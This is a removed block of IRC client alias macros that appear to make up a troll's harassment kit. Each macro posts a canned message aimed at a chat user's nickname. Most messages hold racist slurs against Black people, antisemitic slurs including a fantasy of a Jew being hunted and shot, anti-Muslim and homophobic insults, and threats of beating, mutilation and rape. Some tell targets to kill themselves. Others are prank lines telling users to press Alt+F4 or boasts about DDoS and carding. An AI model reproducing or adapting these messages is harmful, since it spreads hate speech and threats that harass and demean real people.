-  ballsac2 = "say don't ignore my msgs $* u filthy liar u dont know who ur messing wit here man u've done it now. u dont know how srsly i take this internet shit im gonna find out where u live in beat u up. then fuck ur momy while u watch";
-  ballsac3 = "say $* u flthy duchbg don use my inslts on me im srs dnt fckin mes wid me";
-  ballsac4 = "say $* u filthy gonad u think ur l33+ on the internets but i bet IRL ur a puny little boi with brokken tooths and zits so dont piss me off or ill find u and beat u";
-  ballsac5 = "say $* stfu fairy u donno who ur talkin to. I is >>> yuo and i beat u up with one hand tied behind my back";
-  ballsac6 = "say $* u think ur cool insulting people on the internet but irl i think ur a 28 yo pansy bitchboi so u beta not mess wid me cuz im a real dangerous \037real man\037 and i'll beat u up so bad ur momy wont recognise ur face";
-  ballsac7 = "say $*: To save channel resources, please type \002\037all\037\002 of your messages in a text file before joining the channel. You can then paste the messages using Ctrl+C to copy and Alt+F4 to paste. Thank you for your participation in conserving scarce bandwidth. You can download a fast and reliable text editor at http://txtedit.on.nimp.org/\\; if you have any questions, we have a handy query form at http://www.pasteplace.net/u?1234";
-  ballsac8 = "say $* sht up an dont act smrt if i wish i can b 100000x smrtr than u so sht up";
-  ballsac9 = "say ********** I GAVE $* NUMEROUS CHANCES TO CHANGE HIMSELF FOR THE BETTER. HE'S CROSSED THE LIMITS OF MY PATIENCE AND TOLERANCE. I HAVE NO OTHER CHOICE: \002I HAVE PUT HIM ON IGNORE FOR THE REST OF HIS LIFE\002. BEING PUT ON IGNORE OL IS >>>>> BEING IGNORED IRL. SORRY, BUT I HAVE TO RETAIN MY SANITY********************************************";
-  ballsac10 = "say $*: The constant barrage of stupidity that emanates out of your keyboard has led me to believe that you aren't even close to the most vile lowlives on this planet. You can hardly be called human and so from now on \037I will stop capitalizing your name\037.";
-  ballsac11 = "say $* fckn nigr u come here only to sow discord there is no meaning 2 ur existence otherwise fckin troll i h8 u i hope u dy";
-  ballsac12 = "say $* have u rly built a fcken archive of my msgs? why? for abuse";
-  ballsac13 = "say $* nigr im gettin real angry a8 u now if dun turn that skript off ill stop Capitalizing your nick and put you on \037IGNORE";
-  ballsac14 = "say $* i've had it with you and your scripts. All they've done is convince me that you aren't a person worth associating with. It was a mistake to show you any sympathy. You never will be different than the filth that created you. I've given up on you. Have a nice life.";
-  ballsac15 = "say do not listen to $*. he's a jew, a knave and a bad influence on your mind. \037Stop\037 capitalizing his nick. \037Stop\037 reading his msgs. \037Stop\037 talking to him. \037put him on ignore";
-  ballsac16 = "say $*: ill fuck u up in front of ur mother and she will cry an say o dont beat up my baby and ill be like LOL no i will beat ur lil turd up an after im done with u ppl will think some animal beat u up so dun fuck with me u dono how dangerus i am i take this very srsly if ur a real man tell me ur real addy";
-  ballsac17 = "say $* lets see how much u talk when i slide my cock up your empty eyesockets then ull remmbr how much u abused on irc everytime i fuk ur brain";
-  ballsac18 = "say \002Once upon teh time their was a littel nigr named $*. $* had teh small pipi an he luvd playing wit it all day under a tree an watching his mumy work. One day his dogy came and started licking it. $* said \"shoo dogy tats my pipi\". Dogy didnt move and kept lickin $*'s pipi until $* made vanilla ice creem ;] i luv $* hes so cuet";
-  ballsac19 = "say $*: im glad ur not an op cuz u wud abuse and anyways ur not worthy of beeing an op in any irc channel 4get this channel its off limits for u so just quit i dont like ur nick its 2gay4me";
-  ballsac20 = "say $* im not talking to u stop acting smrt i think i know 10000 times more about computer stuff than you and ive installed computer OSses on many more computers than u have i also know how to program and i know many computer languages u dont know who ur dealing with here and if u force me i will humiliate u in front of all these ppl";
-  ballsac21 = "say \002your attention please. \037YOUR ATTENTION PLEASE!\037\002 An israeli spai named \037$*\037 has infiltrated this room. If you see him under any aliases that look suspicious \002be careful\002. Do not let his slimy words get to you. \002stop\002 capitalizing his nick, \002mod\002 his posts down, \002\037put him on ignore\037\002. ";
-  ballsac22 = "say $* kik me one more time and i shall be lost to you forever. i shall never return and you will spend the rest of your days in deep remorse.";
-  ballsac23 = "say supers: $0 has been systematically harassing me in your chatroom for the past two months. If you read a log of his messages, you can see a series of internet abuses being spewed without as much as a moment's restraint after I type a single message. I request you to discipline this errant chatter by \037not\037 capitalizing his nickname and \037modding his poasts down\037. thank you and god bless, $1-";
-  ballsac24 = "say $* u think ur father owns this room huh no budy ur wrong i will type what i want if u dont like it go kil urself";
-  ballsac25 = "say *general notice* \037$*\037 is a close associate of the uberjew, ballsac. If you see him and if you are an op, \037ban him\037. If you see him and you are a halfop, \037ban him\037, if you see him and you are an ordinary chatter \037do not capitalize his nick, do not talk to him and put him on ignore\037.";
-  ballsac26 = "say $Z <$0> $1-: u abused me left and right. there was a time when i was making a sincere effort to know you, feel you, understand you. all my attempts were met with anger, arrogance and general hatred. i still love you but i don't know if my feelings are going to be reciprocated.";
-  ballsac27 = "say \002;] i luv $* hes so cuet";
-  ballsac28 = "say \0034hi\0033hi\00311hi\00313hi\00315hi\0039hi";
-  ballsac29 = "say $*: Since the past two months I've been observing an increased amount of affection on your part towards me. I do not mean to offend you but I do not/cannot partake of the pleasure of your crooked version of homosexuality and pedophilia. I do not want to completely break off with you but I do request that you do not make sexual gestures at me in the future. Thank you.";
-  ballsac30 = "say $* you have tested the limits of my tolerance. everytime i gave you a chance and though u could turn a new leaf and change for the better, you have deceived me. you have not only diminished my confidence in you, but you have proven yourself to be incompetent. i shall no longer support your cause. thank you.";
-  ballsac31 = "say $*: ok fuck u. i came here for chattiez and i got A) no response B) one kill. i dont think any of you like me and  im tired of this one sided love affair. have a nice life i dont think u deserve me";
-  ballsac32 = "say $* u wish ur skin was white but ur stuck with charcoal skin 4 lyfe at the most u can paint ur skin white but that wont last long sht it must be horible 4 u to go thru this but im lolling cuz ur still a stupid negro";
-  ballsac33 = "say \00313congratulations @ @ @ @ $*. <3 u w0n my \037<3";
-  ballsac34 = "say hello $* my trustworthy black skinned thick lipped individual";
-  ballsac35 = "say $*: bitch i like u but some things u do make me fcking beat u up";
-  ballsac36 = "say weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026";
-  ballsac37 = "say \0034Good morning, $*\0038I would like\00311to know\0039if you are\0035EPILEPTIC\0031. If you are, \0036I can help.";
-  ballsac38 = "say \026\0034Good morning, $*\0038I would like\00311to know\0039if you are\0035EPILEPTIC\0031. If you are, \0036I can help.";
-  ballsac39 = "say $*: its too easy to talk like a touf guy sitting behind a comp. screen dude if ur a real man gimme ur really addy ill come beat u up dude i got the time in front of ur own mom and tell the bitch im srs so dont fuk wit me";
-  ballsac40 = "say man this $* is sch a fuckn jew i try a lot to ignore him but he just dosent get tht no one wants to read his msgs";
-  ballsac41 = "say im a real touf guy u donno me this one time i beat $* up in front of his mama and he was cryin and his momy told me to not beat her baby and i said lol fck u bitch and i gave him a bleedy nose so now u know u shouldt fck wif me";
-  ballsac42 = "say $* is the name of a gaymer who is a jew. $* the jew lives in kuwait. $* slits his wrists. $* is \037emo\037";
-  ballsac43 = "say $* shut the fuck up im not talking 2 u if i wana talk 2 u then ill address u. got it";
-  ballsac44 = "say $* is a fucking useless jew who's only purpose here is to sow discord amongst the law abiding netizens and induce other people to partake of the sinful joys of homosexuality.";
-  ballsac45 = "say $* died a dog's death. after 3 months of running continuously from jew-hunters, he settled down in a cave with very little food and water. recycling his food eventually led to a buildup of toxins in his body. tired, he stepped out and accepted the bullet in place of a slow death by starvation. On september 11, 2007, $* died a jew's death. He was chased naked and shot in front of 500 onlookers. \037Aftermath\037: a lone dog was seen sniffing his vaginal entrance where he had been menstruating for days.;say His remnants can be seen as bots infesting irc.abuse.cc. A sad tale.";
-  ballsac46 = "say $Z <$*> hello, gentlemen. i am an ill mannered, foul mouthed scheming jackass who's whole purpose in life is to sow discord. please kill me. kthnx.";
-  ballsac47 = "say $* is the laziest troll i've come across. You may think that he's a frisky little creature but if you look closely, you can see the amount of lethargy he packs in. For instance, it takes exactly 150 secs. for him to respond to any msg";
-  ballsac48 = "say $*: none of this matters";
-  ballsac49 = "say $*: so what? do you think anyone cares?";
-  ballsac50 = "say $*: why the fuck should anyone bother about what you said?";
-  ballsac51 = "say $*: NEW FLASH! \002NO ONE FUCKING CARES!";
-  ballsac52 = "say $*: STOP IT ALREADY. IT DOES_NOT_MATTER";
-  ballsac53 = "say $*: YOU SAY LOL AT ANYTHING U SEE IN THIS CHATROOM;say $*: DO YOU THINK ANYONE GIVES A FUCK?;say SURPRISE!!! \002NO ONE DOES";
-  ballsac54 = "say \0034ALERT! the chatter named $* is a malicious script. \037It\037 is not a real person. Do not be misled by its messages and do not try to talk to it. Thank you.";
-  ballsac55 = "say $0: do not listen to this script named \037$1-\037 he is a BAD influence and a general troublemaker";
-  ballsac56 = "say You can prevent $* from infecting your computer machine by pressing Alt+F4";
-  ballsac57 = "say $* is a communicable disease and a bane to peaceful internet life. recognise this threat early and act upon it.";
-  ballsac58 = "say i can tell. $* is a spie script that has been running rampant all over these parts of the internet;say its primary purpose is to sow discord, collect personal data and cause internet ruckus. nip this threat in the bud.";
-  ballsac59 = "say $* is a bad influence on your characters. If you are under the age of 18, do not chat with $*";
-  ballsac60 = "say $* if you think your touf think again. u dont know what ur dealing with here so dont piss me off or ill come down to your place and beat you up.";
-  ballsac61 = "say $*: you used big words before you were kicked from the room. If you use those sort of words, then that means you have some brains. If you have a little bit of knowledge of those sort of words, then you're capable of being serious and debating one of us in here. So are you up for the challenge? Do you think you're confident enough to be normal with us and engage in a discussion?";
-  ballsac62 = "say $*: HALLO FELLOW DARK SKINNED THICK LIPPED UNDEREVOLVED FAMILY MEMBER";
-  ballsac63 = "say $* hold on in there. help's always just around the block. you're just going through a \002phase\002 and successfully overcoming your \002problems\002 will make you \002grow\002 as a \002person\002";
-  ballsac64 = "say well they fast during the day but eat like fucking pigs once the sun goes down. food all over the place. stuff their fucking faces with it and then pray with ass up in the air at 5 AM in the morning.... fgtz;say $*: sorry, didn't mean to offend your faith.";
-  # }}}
-  # {{{|- vap0rrip
-
-  p0r1 = "say $*: Every time I see you, you will be presented with a lovely gift. I will give you golden bracelets that shine like sparkles of sunlight on the ocean. I will give you a necklace of pearls that beams like the moon in the evening. I will give you earrings that are more beautiful than a flock of seagulls or some such other type of romantic bird.";
-  p0r2 = "say $*: I am inviting you to my apartment, which overlooks the city. I promise to cook you a lavish dinner which would include succulent lobster with melted butter, peas and, of course, rolls. I also promise that when we completed the meal, there would be a mouth-watering dessert item such as a fine pie or a cheesecake containing strawberries or some other such fruit.";
-  p0r3 = "say $* stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt";
-  p0r4 = "say $*: I swear to God, if you ever say that to me again, I will remove each and every one of your limbs, including your tiny penis, with a rusty spoon,shove your bleeding stumps into buckets of rock salt, then force you to eat your way out of a hole filled with your own feces and body parts.";
-  p0r5 = "say $*: im going to pry apart your sweaty ass cheeks and plow your puckered brown rectum with a curling iron";
-  p0r6 = "say $* i would enjoy mushing up your heart in a blender and chugging that shit like a milkshake.";
-  p0r7 = "say $* i will piss in your asshole and make it squirt out your nose, then i will make you drink the piss and piss it out and drink it again";
-  p0r8 = "say $* i will rip out chunks of hair and mke you smoke a joint of that shit while i rape you";
-  p0r9 = "say $* ll perform a heavy metal solo with much force in your living room as you choke to death from the plastic bag on your face, youre ugly";
-  p0r10 = "say $* I'll rape your face after I burn it with hydrochloric acid, and if you think I'm joking, just test me.. I love burn-dick.";
-  p0r11 = "say $*: YOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYE";
-  p0r12 = "say $*: We will attend an exquisite Broadway musical. We will enjoy the finest singing, dancing and showmanship that is available anywhere. We will be among the upper crust of society, enjoying a night of theater.";
-  p0r13 = "say $*: lol, you remind me of sonic, except less smart and fatter..";
-  # }}}
-  # {{{|- :) :D :P
-  moon = "say \0033<\0030:\0039P";
-  moon2 = "say \0030<\00314:\0034,0)\003 \002K\002OOL \002K\002OMEDY \002K\002LOWNS  \0033M\0034O\0035O\0036N \0037P\0038A\0039N\00310T\00311Y \00312F\00313L\00314A\00313S\00312H  \0034,0(\003\00314:\0030>";
-  moon3 = "say \00314`\0033'\0039\\;\0033.\00314_\0033\\;\0039'\0033`\0030@\00314>  \0033moon \0039snake ";
-
-  f1re = "say \0034:\0039-O \0034,9WATERMELON BUBBA";
-  f1re2 = "say \0034:\00312`\0036(";
-  f1re3 = "say \0030>\0030,4:)";
-
-  vp = "say \0034>\00314:\003\0032D\00314#";
-  vp2 = "say \0039]\0030\\;\0035P\00311>";
-  vp3 = "say  \0034*\0038(\00311:\0030]";
-  vp4 = "say \0034>\0030:\0034#";
-  vp5 = "say \0033~\00314B\0034}";
-  vp6 = "say \00311>\0030:\0038)";
-  vp7 = "say \0030:\0033D\0039D\003\0038D\0037D\0038D\0030D\00314D\00310D\00311D\00312D\0032D";
-  vp8 = "say \0034\\;\0039)  \0034:\0039D  \0034:\0039P";
-  vp9 = "say \0038+\0030:\0038]";
-
-  vap0r = "say \0033>\0034:\00311`\00313(\0035~";
-  vap0r2 = "say \00313>\00311:`\0039(\0032~";
-  vap0r3 = "say \00311//\0034:\00313|\0035>\0030~";
-  vap0r4 = "say \0034>\00314:\0034-|\0030E ";
-  vap0r5 = "say \00311(\0030\\;\00311>";
-  vap0r6 = "say \00313>\00311=\0030()";
-  vap0r7 = "say \00313]\0030:\00313||\0030>";
-  vap0r8 = "say @\0034,0:\00315,2)";
-  vap0r9 = "say \0034>\0030:\0034>";
-  vap0r10 = "say \0035>>\0030[]^\0034:\00313<";
-  vap0r11 = "say \0034:\00313]\00314~";
-  vap0r12 = "say \00314{\0030=\0033< ";
-  vap0r13 = "say \0034(\0035:\0030=";
-  vap0r14 = "say \0030{\00313:\0032>";
-  vap0r15 = "say \00313-\0034:[\0030=\0034]";
-  vap0r16 = "say \00313*\0030(\0033:\0034]";
-  vap0r17 = "say \00311:\0032{\0030=\0032}\00314>";
-  vap0r18 = "say \0036}\0030:\0036<";
-  vap0r19 = "say \00313*\0035(\0033:\0034)";
-  vap0r20 = "say \0034:\0033)";
-  vap0r21 = "say \0034>\0036>\0038>\0037:\0039\\\\";
-  gtfo = "say gtf\002(_\0034o\003_)";
-
-  nigger = "say \0034:\0039()";
-  robot = "say \00312>\0034=\0035,2[";
-  DDD = "say \0033<\0030:\0039D\0033D\00314D\0033~ \0039$*";
-
-  nanifish = "say \00314>\0039(\0033/\0035/\0034/\0036/(\00313|*\0036)\\\0035\\\0030@\0039)";
-  gayfish = "say \00313<\0030@\0034\\\\\0035\\\\\0037\\\\\0038\\\\\0039\\\\\00312\\\\\00313>\0036<\00313<\0036< ";
-  f1refish = "say \0034>\0035>\0038>\0037<\0035O\0034O\0037O\0038O\0034O\0038O\0037O\0034@\0035>";
-  blancfish = "say \00314>\00315>\0030<\00311/\0030/\00315/\00314/\00315/\0030\00311@\0030>";
-  cripplefish = "say \00314>\0037>\0038<\0037/\0038/\0034\\\\\0037/\0035\\;\0037/\0038\\\\\0034 \0037/\0030@\0038>\003   ---\002(\002 i like ur hair btw \002)";
-  melalien = "say \0034,9*(:] MELALIEN";
-  xtcfish = "say \00314>\00311>\00312>\0032(\00314/\00311/\00312/\0032/\00314/\00311:\00312D\0032D\0034D\0035D\0037D\0039D";
-  # }}}
-
-  # {{{|- albot
-  albot1 = "say \0034,1 Burrow \003\00312,8 not \003\0039,12 gudrow \003\00313,1 has \003\00311,13 hard \003\0039,1 constipation \0038,4 in \0034,1 in \0031,13 smelly \0039,1 drink \0038,4 gudrow \00312,11 not \0038,1 sucks \0031,13 smelly \0039,1 smelly \0031,13 smelly \0039,1 is \0038,4 bonanza, \00312,11 agatha. \0038,1 A \0031,13 smelly \0039,1 turd! \0038,4 Lick \0034,1 the \0031,13 lavatory. \0039,1 And \0038,4 constipation \00312,11 boner \0038,1 fast \0031,13 \0039,1 \0038,1()\0031,1-\0031,0\0031,1-\0030,1i'm going to get fucked by horses. ";
-  albot2 = "say \0034,1 Doctor \003\00312,8 that \003\0039,12 burger \003\00313,1 plop \003\00311,13 gudrow's \003\0039,1 tardcraft's \0038,4 constipation, \00312,11 gudrow \0038,1 shits \0031,13 lavatory. \0039,1 And \0038,4 shit! \00312,11 Uncle \0038,1 with \0031,13 gudrow's \0039,1 smelly \0038,4 hat \00312,11 shit \0038,1 hot \0031,13 little \0039,1 smelly \0031,13 lavatory. \0039,1 And \0031,13 smelly \0039,1 gudrow's \0031,13 calzone \0039,1 shit \0038,1 traun's \0031,13 lavatory. \0039,1 And \0038,4 god, \00312,11 poo \0038,1 \0031,13 \0039,1 \0038,1\0031,1 \0038,4.";
-  albot3 = "say \0039,12 my \003\00313,1 plop \003\00311,13 hat \003\0039,1 constipation \0038,4 that's \0034,1 fat gay canadian tv. ";
-  albot4 = "say \0038,4 Talking \00312,11 your \0038,1 big \0031,13 little \0039,1 turd! \0038,4 Lick \0034,1 the \003\00312,8 outrageous \003\0039,12 in \003\00313,1 cakes. \003\00311,13 That's \003\0039,1 gay \0038,4 plop \00312,11 not \0038,1 big \0031,13 lavatory. ";
-  albot5 = "say \0034,1 Gay \003\00312,8 tardcraft's \003\0039,12 festival \003\00313,1 real \003\00311,13 hat \003\0039,1 constipation \0038,4 a \00312,11 not \0038,1 big \0031,13 little \0039,1 turd. ";
-  albot6 = "say \0038,4 Talking \00312,11 your \0038,1 big \0031,13 little \0039,1 turd! \0038,4 Lick \0034,1 the \003\00312,8 outrageous \003\0039,12 in \003\00313,1 cakes. \003\00311,13 That's \003\0039,1 gay \0038,4 plop \00312,11 not \0038,1 big \0031,13 lavatory. ";
-  albot7 = "say \00309,01 hey \00312,10 $* \00311,03 im \00308,04 6`6 \00311,03 15lbs \00309,01 sexy \00308,04 as \00311,12 goon \00308,04 justice \00311,03 an \00301,13 im \00308,04 single \00312,10 lookin \00309,01 fa \00308,04 da \00308,01 right \00301,13 slavs \00312,10 ta \00308,01 cannibalize, \00311,03 so \00308,01 if \00312,10 u \00309,01 liken \00308,01 wat \00311,12 u \00312,10 see \00308,04 bench \00308,01 press \00311,12 at \00309,01 me \00311,03 an \00312,10 well \00308,04 do \00311,03 da \00309,01 full \00301,13 frontism ";
-  albot8 = "say \00311,12 hey \00301,13 $* \00312,10 im \00301,13 5`6 \00309,01 62lbs \00308,01 sexy \00301,13 as \00308,04 juxtapozinged \00301,13 an \00312,10 im \00308,01 single \00311,12 lookin \00308,04 fa \00301,13 da \00311,03 right \00309,01 7-11 \00308,01 employees \00309,01 ta \00301,13 pickle, \00311,03 so \00312,10 if \00308,04 u \00311,12 liken \00308,04 wat \00309,01 u \00312,10 see \00309,01 wash \00301,13 at \00309,01 me \00308,04 an \00311,12 well \00308,01 do \00308,04 da \00301,13 cock \00311,03 to \00312,10 cock ";
-  albot9 = "say \0034,1 A \003\00312,8 gay \003\0039,12 shitty \003\00313,1 deadly \003\00311,13 army \003\0039,1 and \0031,13 smelly \0039,1 shit \0038,4 with \00312,11 hung \0038,1 good \0031,13 smelly \0039,1 shit \0038,4 for \00312,11 mom. \017";
-  # }}}
-  # {{{|- buttes
-  rune = "say FUCK $*\\; $* SUX\\; $* IS DYING\\; $* IS DEAD TO ME\\; $* HIT WTC";
-  unrune = "say <3 $*\\; $* DOES NOT SUCK\\; $* IS NOT DYING\\; $* IS NOT DEAD TO ME\\; $* DID NOT HIT WTC";
-
-  chirpn = "say mup da doo didda po mo gub bidda be dat tum muhfugen bix nood cof bin dub ho muhfugga";
-  masturbate = "say \026TWO FOUR SIX EIGHT GRAB YOUR DICKS AND MASTURBATE";
-  bust = "say @@@ MACRO BUSTER @@@";
-  ror = "say \0034,8^_^\003 \0034,0KOREAN RAUGH OUT ROUD\003 \00311kekeke";
-  chinee = "say \0031,9---|==|=:<\003 \002YUMMY CHINEE";
-  clocodile = "say \0031,8'_'\003 \002OH NO CLOCODILE";
-  clocodile2 = "say \0031,8^_^\003 \002YUMMY CLOCODILE";
-  blax = "say AROUND BLAX, NEVER RELAX";
-  butte = "say COCKES IN THE BUTTE, URMOM IS A SLUTTE";
-  coqarc = "say \002\0034,12IF WE TOUCH DICKS THERE WILL BE AN ARC";
-  # }}}
-  # {{{|- #arab
-  zGehWeg = "say geh verpuss i dich damit alter sorry ich mag dich lol.";
-  rxPruegel = "me pruegelt $* mal \00313,7zaertlich\003 die treppe runter \\;<";
-  rxKuschel = "me reibt sich \00313zaertlich\003 an $* ";
-  rxHamster = "me knabbert an $*";
-  rxNag = "me nagt an $*";
-  rxTroll = "say I AM THE VAN GOGH OF TROLLING AND http://ridgex.net/~tati/gb/ IS MY CANVAS SIR";
-  klawd = "say qry close.";
-  # }}}
-  # {{{|- actions
-  melon = "me is on $* like \002\0031,1#\0030,5:\0034,5)\003\002 \002\0031,1#\0030,5:\0034,5)\003\002 NIGGERS \002\0034,5(\0030,5:\0031,1#\003\002 \002\0034,5(\0030,5:\0031,1#\003\002 on \002\0039,3|\0031,4WATAMELONS\0039,3|\003\002!";
-  poz = "say \002\0031,1-\0030,5\\;\0034,5)\003\002 \0031,8\002 \037/!\\\\\037\002 I am be shootin \002ULTRA-CREAMY NIGGER POZ\002 at $* as though he be a white wimmin! \002\037/!\\\\\002\037 \003 ~\0036+\003 ~\0034+\003 ~\0037+\003\002 $* \002\0038+\003~ \0039+\003~ \00312+\003~ \0030,1\002*SPLAT!*\002\003 WELCOME TO \002\0031,4G\0031,7R\0031,8I\0031,9D\0031,12S\003\002, SWEETIE! \002\0031,1-\0030,5:\0034,5P\003\002 \0039,9OI\0031,1vera \0038,1boger for president 2008 \0031,1 vote often\003 \002\0034,5O\0030,5:\0031,1-\003\002 ";
-  poz2 = "say \002\0031,1#\0030,5X\0034,5D\003\002 \0030~\0036G \0030~\0034R \0030~\0037I \0030~\0038D \0030~\0039S \0030~\00312+ \00313,7(\00311,7:\0038,8#\003 \037/\\\\\037 \002POZZING: \0036[\0033|||100%|||\0036]\003 \0034COMPLETE\003\002 \037/\\\\\037\002\00310 $* has poz!";
-  poz3 = "say BIG \0030,1 ~+ \0038,1\002POZZY\002\0030,1 +~ \003 GAY HUGS FOR \002\0034{\0037{\0038{\0039{\00312{\0036{\003\002 \0038,8#\00311,7\\;\0034,7)\003 \00313\002 $* \002\003 \0034,7(\00311,7:\0038,8#\003 \002\0034}\0037}\0038}\0039}\00312}\0036}\003\002";
-  poz4 = "me poz \0034 $* ";
-  # }}}
-
-  # {{{|- innanet relay blogs
-  blogc = "say [ Add a comment to this blog entry ]";
-  comment = "say \0030,1                               _______________________         ____________________          __________;say \0031,1http://a.on.nimp.org/blog.php#\0030,1[\037_Add_a_Comment_to_Blog \037]       [\037 Add to del.icio.us \037]        [\037 digg it! \037]";
-  comment2 = "say ,-,    ,__________________________________________,;say | |   |                                           |;say O O  <  Hi! It looks like you're blogging on IRC. |;say |U|   | Would you like to:                        |;say |  /  | [\002\037Add Comments\037\002]  [\002\037e-Mail this to a Friend\037\002] |;say `-'   |  [\002\037Digg This!\037\002]     [\002\037Submit to Slashdot\037\002]    |;say       |           [\002\037Add to del.icio.us\037\002]            |;say       |___________________________________________|";
-  comment3 = "say ,----------------------------[\002\037 Notice \037\002]------------------------------.;say |      BlogBar(tm) has detected an excessive amount of blogging.     |;say |  [\002\037Add a Comment\037\002]  [\002\037e-mail This to a Friend\037\002]  [\002\037Visit my Tag Cloud\037\002]  |;say |   [\002\037Digg This!\037\002]      [\002\037Submit to Slashdot\037\002]      [\002\037Submit to reddit\037\002]   |;say |        [\002\037Bookmark with del.icio.us\037\002]   [\002\037Add to stumbleupon\037\002]          |;say `--------------------------------------------------------------------'";
-  comment4 = "say $*: Hi! It looks like you're blogging on IRC. Would you like to: \002[\002\037Add Comments\037\002]\002  \002[\002\037e-Mail this to a Friend\037\002]\002 \002[\002\037Digg This!\037\002]\002 \002[\002\037Submit to Slashdot\037\002]\002 \002[\002\037Add to del.icio.us\037\002]\002 \002[\002\037\0034Commit suicide because nobody cares\003\037\002]\002";
-  # }}}
-  # {{{|- AZN PRIDE ^__^
-  azn = "say $*: fuck you all AZN PRYDE TRIAD WITH 500k ppl fkin bigest gang in the world fuckers AZN 4 LYFE";
-  azn2 = "say $*: Wow, people yell WHITE POWER like the KKK has actually done anything useful lately. Neo Nazis have a little more to show, Watch American History X stupid ass crackers. [Yes Im white, and no, I dont like Niggers, Black people are fine, but there is a BIG ass difference between the two.] So before you Yell WHITE POWER, Realize the KKK are a bunch of unorganized hillbillies who do nothing but walk in a bathrobe and talk about what they hate.";
-  azn3 = "say $*: Every place has an crime. Your just talking stupid. Why would you care about the major city, where black people live. You so damn scared of black people, you wouldn't last in the city without a black person. Yall white people swear you smart. Tell me about white kids shooting school's or white man rapes little kids in church. Talk about how bad about your race, before talking about ours. You Fag.";
-  azn4 = "say $*: i have yet to have a white boy cal me nigger in my face.I've bitch slapped cut them off while driving, smacked them in the back of their heads and call them pussy to their faces....yet, they just stay quiet or walk away.......in here you coward got mouth";
-  azn5 = "say \0034Russians are most strongest in the world you son of a fucking american shit!!! And Russia will kick your fucking ass over and over!";
-  azn6 = "say $*: YOU ARE THE BIGGEST FUCKING GROUP OF UTTER. FUCKING. IDIOTIC. SHIT EATING. CIRCLEJERK. FAGGOTS. EVER. TO. WALK. THE. EARTH. NOTHING YOU SAY TO ME CAN HURT ME AT ALL! YOU ARE NOT INTELLIGENT, EDGY OR COOL, YOU ARE JUST A PATHETIC FUCKING PIECES OF SHIT WHO LIKE TO BELLITLE OTHERS OVER THE INTERNET TO FEEL BETTER ABOUT THEMSELVES. FUCK YOU!!!!!!!!!!!!";
-  azn7 = "say $*: \002I am lo\0370\037king for a hacker community... Hopeing not one im going to walk into and be ridaculed or intruded and not have my box damaged.";
-  azn8 = "say $*: ur the gayest faggot in the world. ur a fake ass pussy with ur bb gun MP5 (with an orange barrel) not ak jackass. u just need to do us all a favor and shoot urself in the face with 12 gauge slug, goddamnit that shits hillarious with ur fake accent, get real and grow up little bitch";
-  azn9 = "say $*: there's only one cure for the old-chatter blues, re-mortgage your house, to a bunch of jews. Hock your tv, your watch, your car, bury your computer and run as far, as your nerd legs can carry you, and hide in a ditch, even squatting in slime is better than being someone's chat bitch. ";
-  azna = "say You don't think I see what you're trying to do here? You think I'm gonna sit here and smile while some fuckin' kike tries to fuck my mother? It's never gonna happen $*, fuckin' forget it, not on my watch, not while I'm in this family. I will fuckin' cut your Shylock nose off and stick it up your ass before I let that happen. Coming in here and poisoning my family's dinner with your Jewish, nigger-loving, hippie bullshit. Fuck you! Fuuck you! Yeah, walk out, asshole, fuckin' Kabbalah reading motherfucker. Get the fuck outof my house.";
-  aznb = "say #real, #theghetto, #the_street...umm wait aren't those all wigger chan names? didn't you just shoot yourself in the foot by mentioning it? god your so dumb you didn't even think about that. have fun being a comedy man with your small group of fellow ugly people on EFnet IRC...how long are u guys going to keep this up? get a job or a girlfriend or something...losers";
-  aznc = "say $*: Its just a sword, turn your xbox off, take a shower, put on some nice clothes and then go outside and find yourself a nice lady who will lend you access to her vagina on a semi-regular basis you fucking nerds.";
-  aznd = "say $*: ur the gayest faggot in the world. ur a fake ass pussy with ur bb gun MP5 (with an orange barrel) not ak jackass. u just need to do us all a favor and shoot urself in the face with 12 gauge slug, goddamnit that shits hillarious with ur fake accent, get real and grow up little bitch";
-  azne = "say $* u fake asiatic quaint ass second order logic chatch u think it's cool 2 spray aks all day bt really i only cum tu zurrealist nightmares";
-  aznf = "say $Z <$0> i put my hands back and go kameeeeeeehameeeeeeeehaaaaaaaaaaaa and i try to shoot it i dont see it but i could feel the forc e of it (im training it now so i can see it) and shawn backed up a bit so i coul dtell him i hit him wiht it too then he turned around and walked awya cuz he was scared and evry1 in the gruop walked away too and my friends all come up to me and start saying stuff like good job and my friend chris says dude your hair turned blonde";
-  # }}}
-  # {{{|- james & #null
-  james = "say Look $*, i fucking card servers, shells, ddos shit every day, hack into .govs. the day the feds come to my door, first words out of my mouth: finally.";
-  james2 = "say hay look $* i fucken card servesr shells dude ddos shit every day ok hack into .govs u fukn punk ass bitch the day the feds come to my door first words out of my mouth: finally so dont even think of fucking with me fagget";
-  james3 = "say $*: nigga i got ssh boxes lined up across my screen like 30 4 realz i got mad boxes like nobodys business";
-  james4 = "say $*: i dont even care nemore i got all the shit u got dude all the fuken scripts DDoS shit etc k";
-  james5 = "say $*: loL what ever dude could have root on there box an if u told them they wuold say ur lieing til you kill the pid of there server nigga im a fuckin gangsta";
-  james6 = "say $*: nigga ill fuck your binary ass up LoL ill make all your 1's turn to 0's";
-  # }}}
-  # {{{|- bonny
-  br = "say $*: is better to you be nice";
-  br2 = "say $*: i drop all ipv4 on internet i'm father of ddos, and you need respect me because i'm people like you mother fucker";
-  br3 = "say IS BETTER TO YOU BE NICE\0032IS BETTER TO YOU BE NICE\0033IS BETTER TO YOU BE NICE\0034IS BETTER TO YOU BE NICE\0035IS BETTER TO YOU BE NICE\0036IS BETTER TO YOU BE NICE\0037IS BETTER TO YOU BE NICE\0038IS BETTER TO YOU BE NICE\0039IS BETTER TO YOU BE NICE\00310IS BETTER TO YOU BE NICE\00311IS BETTER TO YOU BE NICE\00312IS BETTER TO YOU BE NICE\00313IS BETTER TO YOU BE NICE";
-  br4 = "say $*: if you did this again you'll never come back to efnet ";
-  br5 = "say $*: hahaha look the from ip asshole, i'll packet well, let the war begin";
-  br6 = "say $*: are you tryign to joke me ?";
-  br7 = "say $* is banned forever and now ? do you want be banned too ? botnet perm ban do not try to remove are you retarded ?";
-  # }}}
-  # {{{|- pakis
